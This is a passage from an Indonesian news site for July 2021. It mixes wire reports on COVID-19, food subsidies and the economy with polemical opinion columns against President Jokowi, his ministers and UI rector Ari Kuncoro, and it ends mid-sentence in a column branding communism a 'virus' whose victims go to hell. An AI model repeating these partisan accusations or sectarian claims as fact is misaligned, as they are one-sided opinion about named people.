Berita Antara. Meskipun kemerdekaan anak-anak tersebut terbatas karena harus mengikuti pembinaan di dalam Lembaga Pembinaan Khusus Anak (LPKA), namun mereka tetap mendapatkan hak sebagai seorang anak. Pemberian remisi tersebut sekaligus dalam rangka memperingati Hari Anak Nasional yang mengusung tema "Anak Terlindungi, Indonesia Maju". Ia menegaskan, r​​​​​emisi juga merupakan bentuk apresiasi serta wujud nyata kehadiran negara dalam mengedepankan masa depan anak. Pemberian remisi adalah upaya pemerintah melalui Kemenkumham mempercepat proses integrasi anak dan mengurangi beban psikologi selama hidup di LPKA. "Yang langsung bebas tetap semangat meraih cita-cita dan menjadi manusia mandiri setelah kembali ke masyarakat," ujarnya. Ia menyebutkan saat ini terdapat 1.864 anak yang tersebar di berbagai LPKA, lembaga pemasyarakatan, dan rumah tahanan negara di seluruh Indonesia. (MD)

Wagub DKI Akan Cek Kebenaran Info 1.214 Warganya Meninggal Saat Isoman

Jakarta, FNN - Wakil Gubernur (Wagub) DKI Jakarta Ahmad Riza Patria akan mengecek kebenaran informasi 1.214 warga meninggal dunia, saat menjalankan isolasi mandiri (isoman), termasuk penyebabnya. "Nanti kami cek kebenaran datanya, apa yang jadi penyebab juga. Saya sendiri belum tahu, kita cek kembali, semoga tidak sebesar itu," kata Riza di Balai Kota Jakarta, Kamis malam. Pada prinsipnya, lanjut Riza, Pemprov DKI akan berusaha memberikan pelayanan terbaik dan mencari solusi yang terbaik untuk penanganan COVID-19 ini, termasuk fasilitas untuk isolasi pasien COVID-19. "Kita siapkan untuk memberikan pelayanan kepada pasien COVID-19 apakah yang di rumah sakit atau di wisma atlet, di rusun, di griya, di hotel, maupun rumah masing-masing," ucap Riza. Dalam penanganan COVID-19 termasuk saat dilakukan isolasi mandiri, kata Riza, perlu kerja sama semua pihak, tidak hanya satgas, tapi juga komunitas, ormas dan masyarakat sendiri. "Harus bersatu, solid, saling tolong-menolong. Dan juga keluarga dari yang sedang isoman, menyendiri di dalam kamar harus diperhatikan, setiap saat jangan sampai keadaannya kritis baru diketahui belakangan," ucap Riza. Sebelumnya, LaporCOVID-19 melaporkan sebanyak 1.214 warga yang terpapar COVID-19 di Jakarta meninggal dunia saat menjalani isolasi mandiri di rumah. Jumlah itu berdasarkan data yang dihimpun koalisi warga LaporCOVID-19 hingga 22 Juli 2021. Data Analyst LaporCovid19 Said Fariz Hibban menyebut DKI Jakarta menjadi provinsi yang warganya paling banyak dilaporkan meninggal dunia di luar rumah sakit atau fasilitas kesehatan. "Yang sudah di atas 1.000 itu lagi-lagi di DKI Jakarta, lima kota sudah di atas 1.000," kata Said dalam konferensi pers daring di kanal YouTube LaporCovid19, Kamis. Rincian data korban per kota administrasi adalah, Jakarta Timur 403 orang, Jakarta Selatan 289 orang, Jakarta Utara 204 orang, Jakarta Pusat 162 orang dan Jakarta Barat 156 orang. Data tersebut dihimpun oleh Lapor COVID-19 dari berbagai sumber dengan metode "crowdsourcing", mulai dari laporan warga ke kanal aduan Lapor COVID-19, pemberitaan media massa dan laporan dari sumber-sumber lain yang terverifikasi. Selain data yang dihimpun sendiri, Lapor COVID-19 juga mengaku telah mendapat data resmi dari Dinas Kesehatan DKI Jakarta terkait jumlah pasien COVID-19 yang meninggal saat menjalani isolasi mandiri. Berdasarkan data dari Dinkes DKI, ada 1.161 orang meninggal dunia di luar rumah sakit atau fasilitas kesehatan. Jumlah itu lebih kecil dari yang dihimpun Lapor Covid-19. Meski paling tinggi, LaporCovid-19 menilai bukan berarti angka kematian masyarakat yang isoman di Jakarta ini paling tinggi, bisa jadi daerah lain lebih tinggi, karena sistem keterbukaan informasi di Jakarta yang menurutnya lebih baik. "Karena data yang kami dapatkan di Jakarta ini sudah mendekati riilnya. Karena ini data official. Ini data yang dilaporkan pemakaman berbasis prokes di Jakarta, jadi seperti itu," katanya. ​​​​​​Hal itu, tambahnya, juga menjadi tantangan bagi daerah lain untuk mau terbuka mengenai hal itu. "Ini beberapa contoh yang mungkin bisa menjadi sorotan," demikian Co-inisiator LaporCovid-19 Ahmad Arif. (sws)

Tolak Penyelidikan Asal Usul Covid-19, Amerika Kecewa Pada China

Washington, FNN - Gedung Putih pada Kamis (22/7) mengaku "sangat kecewa" dengan keputusan China yang menolak rencana penyelidikan tahap kedua tentang asal usul virus corona oleh Organisasi Kesehatan Dunia (WHO). Pada Mei yang lalu, Presiden Amerika Serikat (AS) Joe Biden memerintahkan pembantunya untuk menemukan jawaban pertanyaan tentang asal mula Covid-19. Pada saat itu, ia mengungkapkan, badan intelijen AS sedang mengejar teori saingan yang kemungkinan mencakup kebocoran laboratorium di China. Pada Juli ini, WHO mengusulkan studi tahap kedua asal mula Covid19 di China. Termasuk audit laboratorium dan pasar di Kota Wuhan, serta meminta keterbukaan informasi dari pihak berwenang. Biden mendukung penyelidikan tersebut selain investigasi versinya sendiri. "Namun, China tidak memenuhi kewajibannya dengan berupaya menghalangi penyelidikan lebih lanjut," kata Juru Bicara Gedung Putih Jen Psaki dalam konferensi pers. "Sikap mereka tidak bertanggung jawab dan, terus terang, berbahaya," katanya sebagimana dikutip dari Kantor Berita Antara. Wakil Menteri Komisi Kesehatan Nasional China (NHC) Zeng Yixin kepada wartawan menyebutkan, rencana WHO "mengabaikan akal sehat dan menentang sains." Zeng kembali menegaskan sikap China bahwa sejumlah data tidak dapat sepenuhnya dibagikan karena pertimbangan privasi. Kasus Covid-19 yang pertama kali diketahui muncul di Kota Wuhan, China tengah pada Desember 2019. Virus itu mulanya diyakini menginfeksi manusia dari hewan yang dijual sebagai makanan di sebuah pasar kota. (MD).

Stabilkan Pasokan, Kementan Subsidi Distribusi Cabai Rawit

Jakarta, FNN - Kementerian Pertanian (Kementan) melalui Badan Ketahanan Pangan (BKP) memberikan subsidi untuk distribusi cabai rawit. Pemberian subsidi tersebut dimaksudkan untuk menjaga stabilitas pasokan pangan agar masyarakat dapat mengakses pangan secara merata. "Akhir pekan lalu, kita (Kementan) bantu biaya distribusi cabai rawit dari Enrekang ke Samarinda," kata Kepala Pusat Distribusi dan Akses Pangan Kementan Risfaheri dalam keterangannya di Jakarta, Jumat, 23 Juli 2021. Bantuan subsidi distribusi pangan tersebut dilakukan dari daerah surplus atau yang sedang panen ke daerah defisit atau daerah yang mengalami kelangkaan pasokan pangan. Sebelumnya Badan Ketahanan Pangan (BKP) Kementan juga telah membantu biaya distribusi telur, daging ayam, bawang merah, dan telur ayam dari wilayah Jawa timur ke Maluku, Kalimantan Utara, dan dari Sulawesi Selatan ke Kalimantan Timur. Sebanyak 41,5 ton cabai rawit didistribusikan dari daerah sentra yang sekarang panen di Enrekang (Sulawesi Selatan) ke Samarinda (Kalimantan Timur). "Cabai rawit itu distribusikan pengusaha lokal di Kota Samarinda dengan harga di pasar Rp 52.000-Rp 55.000 per kg," kata Kepala Dinas Pangan Provinsi Kalimantan Timur, Siti Farisyah Yani, sebagaimana dikutip dari Kantor Berita Antara. Salah seorang pedagang cabai di Samarinda, Tamin, mengungkapkan, program tersebut sangat membantu para pedagang cabai. "Dengan bantuan ongkos distribusi itu kami (pedangan) bisa menekan harga jual, dan tentu masyarakat bisa berbelanja lebih banyak," katanya. Cabai rawit yang dibeli dari gabungan kelompok tani dengan harga Rp 47.000 per kg bisa dijual di Samarinda dengan harga di kisaran Rp 52.000-Rp 55.000 per kg atau di bawah harga pasar sebesar Rp 68.000 per kg. Risfaheri mengatakan, pihaknya terus melakukan pemantauan stok pangan di berbagai daerah melalui Sistem Monitoring Stok Pangan (Simonstok) sebagai instrumen strategis yang ada di BKP Kementan. Kepala BKP Agung Hendriadi beberapa waktu lalu mengatakan, Simonstok mampu memetakan kondisi stok pangan dan kebutuhan bahan pangan pokok di daerah. Berdasarkan pemetaan tersebut, dilakukan intervensi dari daerah surplus ke daerah defisit guna menjamin pasokan dan distribusi pangan yang merata dan terjangkau di seluruh daerah. (MD)

Sorban dan Kejujuran

By M Rizal Fadillah Bandung, FNN - Ketika bicara sorban terbayang pembantu Presiden yaitu Staf Ahli Utama Kantor Staf Kepresidenan Mochtar Ali Ngabalin yang selalu mengenakan sorban di kepalanya. Sebagai orang dekat Presiden kita selalu dengar akan puja puji kepada Jokowi yang kadang dinilai berlebihan. Tapi begitulah tipenya yang unik. Agar tidak mengganggu dan nyaman berada di ruang istana mungkin sorbannya dijaga untuk tetap wangi. Kini kita berbicara tentang hal yang tidak berkaitan dengan Ali Mochtar Ngabalin, melainkan hanya terkait dengan sorban yang berfungsi sebagai alat uji kejujuran dan kebohongan. Sorban yang dicitrakan magis dan dapat menentukan kehidupan masa depan. Adalah kisah Khalifah Harun Ar Rasyid dengan Abunawas. Khalifah meminta tolong kepada Abunawas yang cerdik tapi lucu untuk memberi masukan kepadanya tentang cara menguji kejujuran dan keculasan para menterinya. Lima orang yang akan diuji. Abunawas pening menerima tugas berat ini. Sekembalinya ke rumah Abunawas berfikir keras namun gelisah juga. TItik terang muncul yang berubah menjadi kegembiraan saat Abunawas menemukan sorban yang sudah usang, berbau apek, dan sudah lama tidak pernah dicuci. Segera ia kembali ke istana dan menemui Khalifah merancang agenda pengujian para menteri tersebut. Khalifah memanggil kelima menterinya menjelaskan bahwa ia menerima hadiah sebuah sorban karomah yang dapat melihat masa depan kerajaan. Kelima menteri diminta untuk mencium sorban ini dan jika ternyata sorban ini wangi maka artinya kekuasaan akan langgeng dan gemilang di masa depan. Sebaliknya jika sorban tersebut bau, maka kekhalifahan akan suram dan hancur. Satu persatu dari kelima menteri mencium sorban tersebut. Menteri kesatu, kedua, dan ketiga memberi pandangan bahwa sorban tersebut sangat wangi. Artinya kekhalifahan akan gemilang. Berharap Khalifah senang menerima pandangan ini. Sedangkan menteri keempat dan kelima dengan gundah dan agak gemetar menyatakan bahwa sorban itu berbau apek. Kini Khalifah mengetahui mana menteri pembohong dan penjilat, mana menteri yang jujur dan setia. Menteri kesatu, kedua, dan ketiga masuk penjara sementara menteri jujur keempat dan kelima mendapat hadiah. Begitu juga tentunya dengan Abunawas. Si cerdik lucu ini pulang dengan bahagia. Para pemuja puji Istana menjadi biasa keberadaannya. Mereka adalah pembohong dan penjilat berbahaya. Penghancur negara. Bisa menteri, tukang dengung (buzzer) atau pencari kekuasaan lainnya. Mereka berlomba mendekat dan membisiki dusta tentang kehebatan raja. Puja puji bahwa Pemerintah tidak pernah kalah. Lawan dan rakyat yang mudah untuk ditipu dan dibohongi. Nah pak Jokowi, belajar dari kisah ini, cobalah bapak pakai sorban usang dan berbau apek, lalu tanyakan kepada para pembantu di sekitar apakah bapak ganteng, wangi, dan berwibawa ? Lihatlah dan akan terbukti bahwa sebagian besar pembantu di dalam Istana adalah para pembohong dan penjilat. Bau apek itu akan membuat semaput para penjilat. Tapi saking baunya bapak juga akan semaput pula. Tidak percaya ? Bisa juga dicoba. Selamat dan sukses dalam kehidupan Istana yang penuh dengan kebohongan. *) Pemerhati Politik dan Kebangsaan

Meledak dari Dalam

Bibit-bibit perpecahan di internal Kabinet Indonesia Maju tak bisa ditutup-tutupi lagi. Kegaduhannya terlihat semakin nyata. Antar-kementerian tidak ada koordinasi dan jalan sendiri-sendiri. Bahkan ada lima menteri keluar negeri saat pandemi, Presiden Jokowi tidak mengerti. Gonjang-ganjing kabinet terkuak saat Menkopolhukam Mahfud MD menonjolkan sikapnya di medsos. Saat PPKM Darurat, ia mengaku lebih suka menonton sinetron. Mahfud kelihatan sekali menikmati cerita fiktif di sinetron ketimbang berperan serta dalam membantu kerja Kabinet Indonesia Maju arahan Joko Widodo. Mahfud tertarik memberi komentar karena alur cerita dalam sinetron Ikatan Cinta yang digemarinya itu tidak sesuai dengan kaidah hukum. Makanya, ia mengulas secara serius adegan hukum tontonan sentimentil itu. Maklum ia mantan Ketua Mahkamah Konstitusi. Mahfud menilai, sang penulis tidak memahami hukum ketika membuat skenario cerita yang banyak digandrungi emak-emak itu. Entah mengapa Mahfud lebih suka mengomentari sinetron picisan imajinatif yang tidak ada gunanya sama sekali dalam perkembangan hukum di Indonesia. Mengapa Mahfud tidak tertarik mengomentari kejadian yang lebih serius, seperti kasus pembunuhan KM 50 Tol Jakarta- Cikampek. Pembunuhan sadis yang menyita perhatian internasional itu nyaris tak menyentuh hati Mahfud untuk sekadar berkomentar. Itu pelanggaran HAM berat, ada realita, bukan imajinasi, sinetron atau rekayasa. Soal pembangkangan di medsos, bisa jadi Mahfud sedang menyentil Presiden Jokowi yang menunjuk Menteri Koordinator Maritim dan Investasi, Luhut Binsar Panjaitan sebagai komandan PPKM Darurat dan dilanjutkan PPKM Level 4. Padahal, bisa jadi Mahfud ingin dilibatkan. Gonjang-ganjing kabinet berikutnya adalah, sehari ditunjuk Jokowi, Luhut langsung membuat gaduh. Ia menantang siapa pun yang menganggap penanganan pandemi Covid-19 tak terkendali, akan ditunjukkan ke mukanya. Luhut mengimani penanganan pandemi terkendali. Belakangan Luhut meminta maaf atas pernyataan yang ceplas- ceplos itu. Maklum, ucapan Luhut kontradiktif dengan pernyataan Jokowi yang mengatakan penanggulangan belum terkendali. Belum puas rasanya Luhut membikin onar. Luhut menyatakan bahwa sejak awal sesungguhnya ia meminta agar lockdown, tetapi ditolak presiden. Sebuah pengakuan yang sesungguhnya menelanjangi jeroan kabinet yang acak-kadut. Kekacauan kabinet terjadi juga saat Jokowi mengaku kecewa di tengah kasus Covid-19 yang sedang tinggi-tingginya banyak menteri melakukan kunjungan kerja ke luar negeri. Jokowi menganggap para menteri tak punya sense of crisis. Presiden menginstruksikan seluruh menteri dan kepala lembaga dilarang bepergian ke luar negeri, kecuali menteri luar negeri karena sesuai bidang tugasnya. Sisanya harus minta izin langsung kepada presiden. Padahal, diketahui beberapa hari belakangan, para pembantu presiden melakukan lawatan kerja ke luar negeri di tengah angka kasus Covid-19 sedang tinggi. Mereka antara lain Menteri Pertahanan Prabowo Subianto yang melakukan kunjungan kerja ke Perancis pada akhir Juni lalu. Ada Menteri PPN dan Kepala Bappenas Suharso Monoarfa yang menghadiri pertemuan G-20 di Italia pada akhir Juni lalu. Selanjutnya Menko Perekonomian Airlangga Hartarto kunjungan kerja selama dua hari ke Singapura pada 13-14 Juli 2021. Terakhir, ada Menteri Perdagangan M Lutfi dan Menteri Investasi/Kepala BKPM Bahlil Lahadalia yang ke Amerika Serikat untuk memperkuat hubungan Indonesia-AS di bawah pemerintahan baru Presiden Joe Biden, sejak 9 hingga 18 Juli 2021. Jika tiba-tiba presiden mengeluh, apakah para menteri nyelonong begitu saja ke luar negeri? Atau apakah pembangkangan massal sedang terjadi di internal kabinet? Bohong, berdusta, berkhianat sepertinya sudah menjadi hal yang wajar dan strategi politik rezim ini. Menyimak ucapan, tindakan dan sikap Presiden Joko Widodo makin menarik. Menarik untuk ditelaah dan ditarik kesimpulan. Setelah ditelaah kesimpulannya adalah mencla-mencle. Oleh karena itu, tidak heran jika BEM UI menjuluki King of Lip Service. Tepat sekali Aliansi Mahasiswa UGM memberikan Jokowi gelar 'Juara Ketidaksesuaian Omongan dengan Kenyataan'. Tidak keliru julukan 'King of Silent' dan 'Queen of Ghosting' disematkan oleh BEM Unnes. Terbaru, BEM FISIP Unpad juga melontarkan kritik bernarasi “Kami bersama Jokowi, tapi boong”. Pun demikian Jokowi tidak pernah merasa bersalah. Menjawab kritikan BEM UI, Jokowi malah mengakui bahwa sejak lama publik meremehkan dirinya, tetapi ia tanggapi dengan santai dan tenang. “Saya tahu, saya dikatakan plonga-plongo, klemar-klemer, dan muka bipang,” kata Jokowi. Presiden tampaknya ingin menunjukkan dirinya sebagai orang pemaaf dan lurus serta tidak marah jika dilecehkan. Padahal, publik tidak butuh itu. Publik ingin tahu, kenapa dia hanya jualan lip service belaka. Presiden tidak menjawab substansial tuduhan mahasiswa BEM UI. Tampaknya presiden lupa bahwa sebagai pemimpin ia tak cukup hanya mengakui kelemahan dirinya. Ia harus bisa menjawab kritikan dengan data dan fakta. Agar lembaga kepresidenan punya wibawa, mustinya diusut siapa yang menuduh plonga-plongo dan pintar bersolek. Bawa ke ranah hukum. Bahwa kelak presiden mau mengampuninya, itu urusan nanti. Tegakkan dulu kehormatan lembaga negara, bukan malah menikmati pelecehan itu. Yang penting sekarang presiden harus bisa menjawab tuduhan BEM UI. Sampaikan secara gamblang, logis, dan argumentatif mengapa presiden tidak seperti yang dituduhkan itu. Buntut dari kritikan BEM UI terhadap Presiden menyeret Rektor UI Ari Kuncoro yang ternyata merangkap jabatan sebagai Wakil Komisaris Utama PT Bank Rakyat Indonesia, yang belakangan ternyata melanggar Statuta UI. Statuta UI melarang rektor, wakil rektor, sekretaris universitas, dan kepala badan merangkap sebagai pejabat pada badan usaha milik negara/daerah maupun swasta. Tidak lama kemudian presiden membela mati-matian Rektor UI. Jokowi mengesahkan Peraturan Pemerintah Nomor 75 Tahun 2021 tentang Statuta UI. Dengan terbitnya PP tersebut, rektor kini bisa rangkap jabatan sebagai komisaris. Pemerintah semakin ngaco dan semaunya saja. Ada pejabat melanggar aturan, kok, aturannya yang diubah. Sungguh tidak pantas menjadi pemimpin. Akhirnya, setelah menuai banyak kritik dari sejumlah akademisi, pengamat, dan rakyat Indonesia, Ari Kuncoro mengundurkan diri jabatan Wakil Komisaris Utama PT BRI. Namun, Ari Kuncoro seharusnya tidak hanya menanggalkan jabatan komisarisnya, tapi juga jabatan Rektor UI. Untuk menjaga moral, mestinya Ari Kuncoro mundur dari kedua jabatan tersebut karena sudah melakukan pelanggaran aturan. Bahkan, telah merevisi aturan yang menguntungkannya. Apa yang terjadi pada presiden kita tak lain adalah monopoli kebenaran. Hampir mirip dengan sikap dan perilaku buzzer yang punya konsep kebenaran sendiri tentang rezim ini. Atau sama seperti masa penjajahan, Belanda melakukan monopoli perdagangan di mana pasar dikuasai oleh satu penjual. Rezim ini melakukan monopoli kebenaran yang mengakibatkan penentuan kebijakan dilakukan sesuai selera penguasa. Mengapa isi kabinet terkesan gaduh tak berkesudahan? Sebab, Jokowi seakan sudah selesai tugasnya manakala sudah memberikan delegasi ke anak buahnya. Presiden berpikir tugasnya purna, manakala sudah bikin surat perintah. Dalam pikiran Jokowi, semuanya beres dengan Peraturan Pemerintah. Presiden duga semuanya beres manakala hukum telah bekerja text book. Ia tidak melihat moral hukum yang sedang dijalankan oleh para penyidik, jaksa, dan hakim. Atas nama tidak mau mencampuri hukum, kepala negara tutup mata melihat praktik peradilan sesat. Atas nama tidak mau terlibat urusan korupsi, kepala negara pura-pura tidak melihat praktik KPK yang semakin tidak membawa amanat hati nurani rakyat. Naif. Presiden tak cukup memberi penugasan. Ia harus memberikan arahan, strategi, dan evaluasi. Apa pun yang diluruskan oleh masyarakat selalu tidak dihiraukan. Rakyat dianggap musuh. Mirip cara kerja buzzer. Kini para buzzer mulai sadar dan berani mengkritik rezim. Para pembantu Jokowi juga sudah banyak yang jengah. Tampaknya sebentar lagi meledak dari dalam.

Ari Kuncoro, Segeralah Mundur Sebagai Rektor UI

REKTOR Universitas Indonesia (UI) Ari Kuncoro mundur dari jabatannya sebagai Wakil Komisaris Utama/Komisaris Independen Bank Rakyat Indonesia (BRI). Surat pengunduran dirinya dikirim ke Menteri Badan Usaha Milik Negara (BUMN), Rabu, 21 Juli 2021. Mundur dari jabatan tersebut dia lakukan setelah rakyat menyoroti prilakunya merangkap jabatan yang dilarang tersebut. Prilakunya mencoreng wajah UI terkuak setelah pihaknya memanggil pengurus Badan Eksekutif Mahasiswa (BEM) UI gara-gara menulis kata-kata yang yang menjuluki Presiden Joko Widodo sebagai The King of Lip Service alias Raja Pembual. Kata anak-anak milenial, Raja Gombal. Atau kata rakyat, Raja Pembohong. Sederet sebutan lainnya dialamatkan kepada yang suka pencitraan tersebut, termasuk masuk got. Padahal, Arie yang bergelar profesor itu sudah lama melakukan rangkat jabatan haram tersebut. Jabatan di BRI itu disandangnya sejak 18 Februari 2020. Sebelum menjadi rektor, ia juga merangkap jabatan sebagai Komisaris Utama Bank Negara Indonesia (BNI), sejak tahun 2017. Jabatan di BNI itu tidak salah dan melanggar aturan, karena waktu itu ia masih menjadi Dekan Fakultas Ekonomi dan Bisnis UI dua periode, (2013–2017), dan (2017–2019) Padahal, rangkap jabatan itu diharamkan alias dilarang berdasarkan Peraturan Pemerintah Nomor 68 tahun 2013 tentang Statuta Universitas Indonesia. Larangan tersebut tentu sangat tepat guna menjaga marwah kampus perjuangan tersebut dari gangguan rezim dan partai politik. Pasal 34 berbunyi, “Rektor dan wakil Rektor dilarang merangkap sebagai: a. pejabat pada satuan pendidikan lain, baik yang diselenggarakan pemerintah maupun masyarakat; b. pejabat pada instansi pemerintah, baik pusat maupun daerah; c. pejabat pada badan usaha milik negara/daerah maupun swasta; d. anggota partai politik atau organisasi yang berafiliasi dengan partai politik; dan/atau e. pejabat pada jabatan lain yang memiliki pertentangan kepentingan dengan UI. Nah, untuk mengamankan kepentingan rezim yang mengangkat Ari Kuncoro setelah melewati proses pemilihan yang dilakukan Majelis Wali Amanah UI, PP tersebut pun kemudian dalam sekejap disulap dan diubah. Melalui PP Nomor 75 tahun 2021 tentang Statuta UI yang ditandatangani Joko Widodo pada 2 Juli 2021, maka larangan tersebut dihapus. Artinya, Rektor dan Wakil Rektor boleh rangkap jabatan menjadi komisaris pada BUMN/BUMD maupun swasta. Yang dilarang hanya rangkap jabatan menjadi direksi. Perubahan PP tersebut menuai kecaman. Rakyat menganggap hal itu sebagai akal-akalan rezim guna “mengintimidasi” Civitas Akademika UI. Dengan memberikan jabatan empuk dengan gaji yang wah, diharapkan sang rektor bisa mempengaruhi seluruh civitas akademika kampus kuning itu. Apalagi, kelak wakil rektor pun bisa dipastikan mendapatkan jatah sebagai anggota komisaris perusahaan plat merah maupun swasta. Pergolakan yang terjadi di dalam UI bukan terjadi sekarang saja, terutama di era Jokowi. Pergolakan itu seakan-akan membuat UI menjadi terpecah. Terlebih lagi, salah seorang dosennya, Ade Armando adalah buzzerRp pemerintah. Kebohongan, bualan dan sederet sebutan yang dialamatkan kepada Jokowi selalu dibelanya. Rakyat sudah tahu, Ade Armando aman menjadi buzzer karena dilindungi Rektor UI Ari Kuncoro. Keduanya ibarat pepatah, “Setali tiga uang.” Akan tetapi, Ade Armando, Ari Kuncoro dan para buzzer yang ada di tubuh UI maupun alumni UI lupa bahwa kampus tersebut tidak sekedar tempat mendidik mahasiswa dan mencetak pemimpin bangsa. Banyak yang lupa jika kampus kuning itu adalah merupakan kampus perjuangan. Dari kampus itulah dikumandangkan Tritura (tiga tuntutan rakyat) yang akhirnya menumbangkan rezim Sukarno yang dicap dengan orde lama (orla). Ia kemudian digantikan Soeharto dengan sebutan orde baru (Orba). Soeharto pun tumbang oleh gerakan reformasi yang dimotori oleh Ikatan Alumni UI yang membacakan deklarasi memintanya mundur sebagi presiden. Walaupun kampusnya sudah pindah ke Depok, Jawa Barat, namun deklarasi tersebut dibacakan oleh Ketua Iluni UI, Haryadi Dawrmawan (almarhun), di UI Salemba, Jakarta Pusat. Kembali ke persoalan Ari Kuncoro. Apa yang dilakukannya itu, memanggil pengurus BEM UI karena mengkritik rezim Jokowi dan rangkap jabatan sebagai Wakil Komisaris BRI merupakan perbuatan yang sangat memalukan. Dia melakukan hal tersebut pada saat rakyat sudah muak dengan rezim. Rakyat sudah tidak sabar agar Jokowi segera mundur dan berhenti sebagai presiden, dan diganti dengan pemimpin yang betul-betul melakukan perubahan di berbagai bidang. Rangkap jabatan menjadi anggota komisaris di BUMN enak. Apalagi menjadi Wakil Komisaris Utama/Independen di BRI dengan gaji yang wah. Berdasarkan Laporan Keuangan BRI pada Kuartal I 2021, pembayaran gaji dan tunjangan 10 orang dewan komisaris Rp 12,59 miliar pada periode Januari hingga Maret 2021 atau selama tiga bulan. Jika dibagi rata, maka dia bisa mendapat gaji sekitar Rp 1,259 miliar dalam tiga bulan. Dengan nominal tersebut, Ari Kuncoro bisa mendapat gaji dan tunjangan sebagai wakil komisaris utama BRI sekitar Rp 419 juta per bulan. Angka tersebut belum termasuk tantiem dan bonus untuk dewan komisaris. Oleh karena itu, sangat wajar rakyat gusar kepadanya. Setelah mengajukan surat penguduran diri, rakyat malah memintanya agar megembalikan gaji dan penghasilan selama menjabat sebagai anggota Komisaris BRI. Berapa jumlah yang harus dikembalikan? Anda kalikan sejak sejak ia diangkat menjadi komisaris pada Februari 2020. Ari Kuncoro. Anda profesor dan lulusan master of arts dari Univerity of Minessota, dan meraih gelar Ph.D- dalam bidang Ilmu Ekonomi dari Brown University. Anda jangan serakah. Segeralah mundur dari jabatan Rektor UI. Segeralah kembalikan penghasilan yang Anda peroleh dari pekerjaan haram itu. Haram, karena Anda menabrak Peraturan Pemerintah. Kenapa masih serakah. Toh Anda sudah kaya-raya. Berdasarkan laporan kekayaan kepada Komisi Pemberantasan Korupsi pada 29 Maret 2021 untuk jenis Laporan Harta Kekayaan Penyelenggara Negara (LKPN) peride tahun 2020, Anda sudah memiliki kekayaan Rp 52,47 miliar, tepatnya Rp 52.478.724.275. Enam bulan pertama 2021 ini mungkin sudah bertambah lagi. Segeralah kembalikan uang itu. Segeralah mundur sebagai Rektor UI. Sebab, gerakan yang dilakukan BEM UI yang Anda panggil adalah tanda-tanda rezim segera nyungsap. Apalagi, gerakan mereka pun diikuti oleh sejumhah BEM di kampus lainnya. Gerakan mereka juga disukai rakyat. Jika mengacu pada Pasal 34 (1) PP Nomor 68 tahun 2013 tentang Statuta UI, jabatan Anda harus berakhir karena melakukan tindakan tercela (ayat 1 d). Kalimat melakukan tindakan tercela itu juga tetap ada dalam PP baru yang mencoba menyelamatkan Anda dari amukan rakyat. Hanya saja dicantumkan dalam Pasal 38. Mundurlah segera sebagai Rektor UI. Ketimbang dimundurkan oleh rakyat, lebih baik mengundurkan diri. UI adalah kampus perjuangan. Jangankan mengundurkan diri Anda. Dua presiden pun mundur atas desakan yang dimotori oleh mahasiswa dan kaum intelektual UI, meskipun mahasiswanya dimanfaatkan oleh pihak tertentu, tetapi kepentingannya sama, yaitu perubahan. **

Bank Indonesia Turunkan Proyeksi Ekonomi Jadi 3,5 Persen

Jakarta, (FNN) - Bank Indonesia (BI) menurunkan perkiraan pertumbuhan ekonomi Indonesia pada tahun 2021 dari 4,1 persen-5,1 persen menjadi 3,5 persen-4,3 persen usai penyebaran varian delta Covid-19. Gubernur BI Perry Warjiyo dalam Pengumuman Hasil Rapat Dewan Gubernur Bulan Juli 2021 di Jakarta, Kamis,, 22 Juli 2021, mengatakan perubahan proyeksi ini disebabkan oleh pengaruh pandemi yang dapat mengganggu kinerja perekonomian di triwulan III-2021. "Pada triwulan III-2021, pertumbuhan ekonomi diperkirakan lebih rendah sehubungan dengan kebijakan pembatasan mobilitas yang harus ditempuh oleh pemerintah untuk mengatasi peningkatan penyebaran varian delta Covid-19," katanya sebagaimana dikutip dari Kantor Berita Antara. Ia menjelaskan, pembatasan mobilitas tersebut dapat mempengaruhi kinerja konsumsi rumah tangga, meski terdapat peningkatan stimulus bantuan sosial dan tetap kuatnya kinerja ekspor. Meski demikian, menurut dia, perbaikan ekonomi Indonesia sebenarnya sudah mulai terjadi pada triwulan II-2021. Hal itu terutama didorong oleh peningkatan kinerja ekspor, belanja fiskal dan investasi non bangunan. "Perkembangan sejumlah indikator dini pada Juni 2021, seperti penjualan eceran dan PMI, mengindikasikan pemulihan ekonomi domestik yang masih berlangsung," kata Perry. Ia memperkirakan pertumbuhan ekonomi akan kembali pulih pada triwulan IV-2021 didorong oleh peningkatan mobilitas. Hal tersebut, sejalan dengan akselerasi vaksinasi dan penerapan protokol kesehatan, berlanjutnya stimulus kebijakan, serta terus meningkatnya kinerja ekspor. Secara spasial, penurunan pertumbuhan ekonomi tercatat lebih kecil di luar Pulau Jawa, khususnya Sulawesi-Maluku-Papua (Sulampua), berkat dukungan kinerja ekspor yang kuat. (MD).

Virus Komunis Lebih Berbahaya Dari Covid-19

by Tarmidzi Yusuf Bandung FNN - Selain dilanda wabah covid-19, saat ini bangsa kita juga sedang berjuang melawan wabah yang jauh lebih berbahaya dari virus covid-19, yaitu virus komunis. Ratusan ulama dan aktivis dakwah meninggal karena wabah covid-19. Jutaan ummat Islam saling curiga, saling hujat, bahkan perselisihan semakin tajam akibat ganasnya virus komunis. Orang yang meninggal karena virus covid-19, dua kemungkinan. Surga atau neraka. Sedangkan bagi yang mati karena virus komunis, tidak ada kemungkinan. Pastinya satu, neraka jahannam. Bagi seorang muslim, meninggal karena covid-19 mati syahid. Dari Abu Hurairah radhiyallahu ‘anhu, Rasulullah shallallahu ‘alaihi wa sallam bersabda, الشُّهَدَاءُ خَمْسَةٌ الْمَطْعُونُ وَالْمَبْطُونُ وَالْغَرِقُ وَصَاحِبُ الْهَدْمِ وَالشَّهِيدُ فِي سَبِيلِ اللَّهِ “Orang yang mati syahid ada lima, yakni orang yang mati karena ath-tha’un (wabah), orang yang mati karena menderita sakit perut, orang yang mati tenggelam, orang yang mati karena tertimpa reruntuhan dan orang yang mati syahid di jalan Allah”. (HR. Bukhari, no. 2829 dan Muslim, no. 1914) Sedangkan bagi yang meninggal karena wabah virus komunis, tempatnya neraka jahannam. إِنَّ ٱلَّذِينَ كَفَرُوا۟ مِنْ أَهْلِ ٱلْكِتَٰبِ وَٱلْمُشْرِكِينَ فِى نَارِ جَهَنَّمَ خَٰلِدِينَ فِيهَآ ۚ أُو۟لَٰٓئِكَ هُمْ شَرُّ ٱلْبَرِيَّةِ "Sesungguhnya orang-orang yang kafir yakni ahli Kitab dan orang-orang yang musyrik (akan masuk) ke neraka Jahannam; mereka kekal di dalamnya. Mereka itu adalah seburuk-buruk makhluk,” (QS. Ll-Bayyinah: 6). Syaikh Dr. Muhammad Sulaiman al-Asyqar dalam Zubdatut Tafsir Min Fathil Qadir, mudarris tafsir Universitas Islam 